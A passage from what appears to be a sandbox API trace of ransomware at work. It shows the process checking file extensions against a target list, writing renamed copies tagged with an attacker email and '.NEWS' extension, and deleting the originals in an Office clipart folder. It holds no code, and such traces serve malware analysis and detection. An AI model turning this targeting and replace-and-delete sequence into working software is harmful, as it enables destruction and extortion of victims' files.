lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0078.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0078.706] lstrlenW (lpString=".doc") returned 4 [0078.706] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.707] lstrlenW (lpString=".docx") returned 5 [0078.707] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0078.707] lstrlenW (lpString=".pdf") returned 4 [0078.707] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.707] lstrlenW (lpString=".xls") returned 4 [0078.707] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.707] lstrlenW (lpString=".xlsx") returned 5 [0078.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0078.707] lstrlenW (lpString=".ppt") returned 4 [0078.707] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0078.707] lstrlenW (lpString=".zip") returned 4 [0078.707] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.707] lstrlenW (lpString=".rar") returned 4 [0078.707] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.707] lstrlenW (lpString=".bz2") returned 4 [0078.707] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.707] lstrlenW (lpString=".7z") returned 3 [0078.707] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0078.707] lstrlenW (lpString=".dbf") returned 4 [0078.707] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0078.707] lstrlenW (lpString=".1cd") returned 4 [0078.707] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0078.707] lstrlenW (lpString=".jpg") returned 4 [0078.707] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.707] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0078.707] lstrlenW (lpString="BD19582_.GIF") returned 12 [0078.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0078.708] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=15733) returned 1 [0078.708] CloseHandle (hObject=0x33c) returned 1 [0078.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 0x220 [0078.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0078.708] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.708] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0078.709] GetLastError () returned 0x0 [0078.709] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x3d75, lpOverlapped=0x0) returned 1 [0079.014] WriteFile (in: hFile=0x388, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x3d80, lpOverlapped=0x0) returned 1 [0079.016] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.016] WriteFile (in: hFile=0x388, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.016] SetEndOfFile (hFile=0x388) returned 1 [0079.016] CloseHandle (hObject=0x388) returned 1 [0079.017] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.017] SetEndOfFile (hFile=0x33c) returned 1 [0079.018] CloseHandle (hObject=0x33c) returned 1 [0079.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0079.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0079.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0079.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0079.019] lstrlenW (lpString=".doc") returned 4 [0079.019] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0079.019] lstrlenW (lpString=".docx") returned 5 [0079.019] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0079.019] lstrlenW (lpString=".pdf") returned 4 [0079.019] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0079.019] lstrlenW (lpString=".xls") returned 4 [0079.019] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0079.019] lstrlenW (lpString=".xlsx") returned 5 [0079.019] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0079.019] lstrlenW (lpString=".ppt") returned 4 [0079.019] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0079.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0079.019] lstrlenW (lpString=".zip") returned 4 [0079.019] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0079.019] lstrlenW (lpString=".rar") returned 4 [0079.019] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0079.019] lstrlenW (lpString=".bz2") returned 4 [0079.019] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0079.019] lstrlenW (lpString=".7z") returned 3 [0079.019] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0079.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0079.020] lstrlenW (lpString=".dbf") returned 4 [0079.020] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0079.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0079.020] lstrlenW (lpString=".1cd") returned 4 [0079.020] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0079.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0079.020] lstrlenW (lpString=".jpg") returned 4 [0079.020] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0079.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0079.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0079.020] lstrlenW (lpString=".doc") returned 4 [0079.020] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0079.020] lstrlenW (lpString=".docx") returned 5 [0079.020] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0079.020] lstrlenW (lpString=".pdf") returned 4 [0079.020] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0079.020] lstrlenW (lpString=".xls") returned 4 [0079.020] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0079.020] lstrlenW (lpString=".xlsx") returned 5 [0079.020] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0079.020] lstrlenW (lpString=".ppt") returned 4 [0079.020] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0079.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0079.020] lstrlenW (lpString=".zip") returned 4 [0079.020] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0079.020] lstrlenW (lpString=".rar") returned 4 [0079.020] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0079.020] lstrlenW (lpString=".bz2") returned 4 [0079.020] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0079.020] lstrlenW (lpString=".7z") returned 3 [0079.020] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0079.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0079.020] lstrlenW (lpString=".dbf") returned 4 [0079.020] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0079.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0079.021] lstrlenW (lpString=".1cd") returned 4 [0079.021] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0079.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0079.021] lstrlenW (lpString=".jpg") returned 4 [0079.021] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0079.021] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0079.021] lstrlenW (lpString="BL00045_.WMF") returned 12 [0079.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0079.021] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=7862) returned 1 [0079.021] CloseHandle (hObject=0x33c) returned 1 [0079.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x220 [0079.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0079.022] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.022] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0079.022] GetLastError () returned 0x0 [0079.022] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1eb6, lpOverlapped=0x0) returned 1 [0079.024] WriteFile (in: hFile=0x388, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1ec0, lpOverlapped=0x0) returned 1 [0079.025] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.025] WriteFile (in: hFile=0x388, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.025] SetEndOfFile (hFile=0x388) returned 1 [0079.025] CloseHandle (hObject=0x388) returned 1 [0079.026] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.026] SetEndOfFile (hFile=0x33c) returned 1 [0079.027] CloseHandle (hObject=0x33c) returned 1 [0079.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0079.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0079.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0079.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0079.028] lstrlenW (lpString=".doc") returned 4 [0079.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.028] lstrlenW (lpString=".docx") returned 5 [0079.028] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0079.028] lstrlenW (lpString=".pdf") returned 4 [0079.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.028] lstrlenW (lpString=".xls") returned 4 [0079.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.028] lstrlenW (lpString=".xlsx") returned 5 [0079.028] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0079.028] lstrlenW (lpString=".ppt") returned 4 [0079.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0079.028] lstrlenW (lpString=".zip") returned 4 [0079.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.028] lstrlenW (lpString=".rar") returned 4 [0079.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.029] lstrlenW (lpString=".bz2") returned 4 [0079.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.029] lstrlenW (lpString=".7z") returned 3 [0079.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0079.029] lstrlenW (lpString=".dbf") returned 4 [0079.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0079.029] lstrlenW (lpString=".1cd") returned 4 [0079.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0079.029] lstrlenW (lpString=".jpg") returned 4 [0079.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0079.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0079.029] lstrlenW (lpString=".doc") returned 4 [0079.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.029] lstrlenW (lpString=".docx") returned 5 [0079.029] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0079.029] lstrlenW (lpString=".pdf") returned 4 [0079.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.029] lstrlenW (lpString=".xls") returned 4 [0079.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.029] lstrlenW (lpString=".xlsx") returned 5 [0079.029] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0079.029] lstrlenW (lpString=".ppt") returned 4 [0079.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0079.029] lstrlenW (lpString=".zip") returned 4 [0079.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.029] lstrlenW (lpString=".rar") returned 4 [0079.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.029] lstrlenW (lpString=".bz2") returned 4 [0079.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.029] lstrlenW (lpString=".7z") returned 3 [0079.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0079.030] lstrlenW (lpString=".dbf") returned 4 [0079.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0079.030] lstrlenW (lpString=".1cd") returned 4 [0079.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0079.030] lstrlenW (lpString=".jpg") returned 4 [0079.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.030] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0079.030] lstrlenW (lpString="BL00098_.WMF") returned 12 [0079.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0079.030] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=1012) returned 1 [0079.030] CloseHandle (hObject=0x33c) returned 1 [0079.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x220 [0079.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0079.031] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.031] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0079.031] GetLastError () returned 0x0 [0079.031] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x3f4, lpOverlapped=0x0) returned 1 [0079.033] WriteFile (in: hFile=0x388, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x400, lpOverlapped=0x0) returned 1 [0079.034] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.034] WriteFile (in: hFile=0x388, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.034] SetEndOfFile (hFile=0x388) returned 1 [0079.034] CloseHandle (hObject=0x388) returned 1 [0079.035] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.035] SetEndOfFile (hFile=0x33c) returned 1 [0079.036] CloseHandle (hObject=0x33c) returned 1 [0079.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0079.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0079.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0079.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0079.037] lstrlenW (lpString=".doc") returned 4 [0079.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.037] lstrlenW (lpString=".docx") returned 5 [0079.037] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0079.037] lstrlenW (lpString=".pdf") returned 4 [0079.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.037] lstrlenW (lpString=".xls") returned 4 [0079.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.037] lstrlenW (lpString=".xlsx") returned 5 [0079.037] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0079.037] lstrlenW (lpString=".ppt") returned 4 [0079.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0079.037] lstrlenW (lpString=".zip") returned 4 [0079.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.037] lstrlenW (lpString=".rar") returned 4 [0079.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.037] lstrlenW (lpString=".bz2") returned 4 [0079.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.037] lstrlenW (lpString=".7z") returned 3 [0079.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0079.037] lstrlenW (lpString=".dbf") returned 4 [0079.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0079.037] lstrlenW (lpString=".1cd") returned 4 [0079.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0079.038] lstrlenW (lpString=".jpg") returned 4 [0079.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0079.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0079.038] lstrlenW (lpString=".doc") returned 4 [0079.038] lstrcmpiW 